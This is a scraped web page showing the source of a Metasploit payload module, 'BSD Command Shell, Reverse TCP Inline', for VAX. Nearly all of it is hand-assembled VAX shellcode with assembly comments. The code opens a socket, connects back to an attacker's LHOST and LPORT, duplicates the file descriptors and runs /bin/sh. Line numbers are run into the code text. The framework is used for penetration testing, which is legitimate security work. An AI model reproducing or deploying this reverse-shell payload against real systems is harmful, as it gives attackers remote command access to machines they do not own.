Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/bsd/vax/shell_reverse_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 100910# This is so one-off that we define it here11ARCH_VAX = 'vax'1213include Msf::Payload::Single14include Msf::Sessions::CommandShellOptions1516def initialize(info = {})17super(merge_info(info,18'Name' => 'BSD Command Shell, Reverse TCP Inline',19'Description' => 'Connect back to attacker and spawn a command shell',20'Author' => 'wvu',21'License' => MSF_LICENSE,22'Platform' => 'bsd',23'Arch' => ARCH_VAX,24'Handler' => Msf::Handler::ReverseTcp,25'Session' => Msf::Sessions::CommandShellUnix,26'Payload' => {27'Offsets' => {28'LHOST' => [24, 'ADDR'],29'LPORT' => [32, 'n']30},31'Payload' =>32"\xdd\x00" + # pushl $033"\xdd\x01" + # pushl $134"\xdd\x02" + # pushl $235"\xdd\x03" + # pushl $336"\xd0\x5e\x5c" + # movl sp,ap37"\xbc\x8f\x61\x00" + # chmk $6138"\xd0\x50\x5a" + # movl r0,r1039"\xdd\x00" + # pushl $040"\xdd\x00" + # pushl $041"\xdd\x8f\x00\x00\x00\x00" + # pushl LHOST42"\xdd\x8f\x02\x00\x00\x00" + # pushl AF_INET + LPORT43"\xd0\x5e\x5b" + # movl sp,r1144"\xdd\x10" + # pushl $1045"\xdd\x5b" + # pushl r1146"\xdd\x5a" + # pushl r1047"\xdd\x03" + # pushl $348"\xd0\x5e\x5c" + # movl sp,ap49"\xbc\x8f\x62\x00" + # chmk $6250"\xd0\x00\x5b" + # movl $0,r1151"\xdd\x5b" + # pushl r1152"\xdd\x5a" + # pushl r1053"\xdd\x02" + # pushl $254"\xd0\x5e\x5c" + # movl sp,ap55"\xbc\x8f\x5a\x00" + # chmk $5a56"\xf3\x02\x5b\xef" + # aobleq $2,r11,dup257"\xdd\x8f\x2f\x73\x68\x00" + # pushl $68732f58"\xdd\x8f\x2f\x62\x69\x6e" + # pushl $6e69622f59"\xd0\x5e\x5b" + # movl sp,r1160"\xdd\x00" + # pushl $061"\xdd\x00" + # pushl $062"\xdd\x5b" + # pushl r1163"\xdd\x03" + # pushl $364"\xd0\x5e\x5c" + # movl sp,ap65"\xbc\x3b" # chmk $3b66}67))68end6970end717273